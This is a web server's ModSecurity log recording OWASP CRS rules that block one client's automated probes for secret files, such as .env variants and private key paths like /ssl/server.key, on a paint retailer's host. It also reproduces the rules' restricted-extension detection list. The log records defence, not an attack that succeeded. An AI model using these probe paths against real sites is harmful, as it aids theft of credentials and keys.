[Sun Oct 25 22:08:46.210819 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at62LqU3Viu-sjPfXm3rOQAAADM"]
[Sun Oct 25 22:08:46.211071 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at62LqU3Viu-sjPfXm3rOQAAADM"]
[Sun Oct 25 22:08:46.213940 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at62LjmSjUI1p_l1ZoRj3gAAAAc"]
[Sun Oct 25 22:08:46.214100 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at62LjmSjUI1p_l1ZoRj3gAAAAc"]
[Sun Oct 25 22:08:46.214352 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at62LjmSjUI1p_l1ZoRj3gAAAAc"]
[Sun Oct 25 22:08:46.227425 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at62LoLcv9dw313oUE999AAAAAM"]
[Sun Oct 25 22:08:46.227596 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at62LoLcv9dw313oUE999AAAAAM"]
[Sun Oct 25 22:08:46.227827 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at62LoLcv9dw313oUE999AAAAAM"]
[Sun Oct 25 22:08:46.232965 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at62LrZn9l1fDWzMN3C80gAAAAQ"]
[Sun Oct 25 22:08:46.233112 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at62LrZn9l1fDWzMN3C80gAAAAQ"]
[Sun Oct 25 22:08:46.233335 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at62LrZn9l1fDWzMN3C80gAAAAQ"]
[Sun Oct 25 22:08:46.248378 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at62LtYvsK9lv2bQxMABmQAAABA"]
[Sun Oct 25 22:08:46.248550 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at62LtYvsK9lv2bQxMABmQAAABA"]
[Sun Oct 25 22:08:46.248782 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at62LtYvsK9lv2bQxMABmQAAABA"]
[Sun Oct 25 22:08:46.248903 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at62LgIuNp5K2_eTlG2KlAAAAC0"]
[Sun Oct 25 22:08:46.249061 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at62LgIuNp5K2_eTlG2KlAAAAC0"]
[Sun Oct 25 22:08:46.249378 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at62LgIuNp5K2_eTlG2KlAAAAC0"]
[Sun Oct 25 22:08:46.249787 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at62Li7g7KvJoU2B-eLMVwAAAAY"]
[Sun Oct 25 22:08:46.249952 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at62Li7g7KvJoU2B-eLMVwAAAAY"]
[Sun Oct 25 22:08:46.250173 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at62Li7g7KvJoU2B-eLMVwAAAAY"]
[Sun Oct 25 22:08:46.250247 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic3.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at62Lgdfoouc32iEpvzFiwAAAA8"]
[Sun Oct 25 22:08:46.250521 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at62Lgdfoouc32iEpvzFiwAAAA8"]
[Sun Oct 25 22:08:46.250786 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at62Lgdfoouc32iEpvzFiwAAAA8"]
[Sun Oct 25 22:08:46.312179 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic3.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at62LjmmX3asvCDITlDxdwAAAAA"]
[Sun Oct 25 22:08:46.312466 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at62LjmmX3asvCDITlDxdwAAAAA"]
[Sun Oct 25 22:08:46.312741 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at62LjmmX3asvCDITlDxdwAAAAA"]
[Sun Oct 25 22:08:46.416556 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic3.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at62LpHtMtN5e4U4U0bifQAAAAI"]
[Sun Oct 25 22:08:46.416988 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at62LpHtMtN5e4U4U0bifQAAAAI"]
[Sun Oct 25 22:08:46.417297 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at62LpHtMtN5e4U4U0bifQAAAAI"]
[Sun Oct 25 22:08:46.470123 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic3.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at62Lvv3Bqe9ulig-nTwpwAAAAk"]
[Sun Oct 25 22:08:46.470516 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at62Lvv3Bqe9ulig-nTwpwAAAAk"]
[Sun Oct 25 22:08:46.470854 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at62Lvv3Bqe9ulig-nTwpwAAAAk"]
[Sun Oct 25 22:08:46.658295 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.mail"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at62LoCf_dn79BGji-V_BAAAAAg"]
[Sun Oct 25 22:08:46.658519 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at62LoCf_dn79BGji-V_BAAAAAg"]
[Sun Oct 25 22:08:46.658827 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at62LoCf_dn79BGji-V_BAAAAAg"]
[Sun Oct 25 22:08:46.669562 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic3.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at62Lu8Eq3zj7Cef_RFABQAAAA4"]
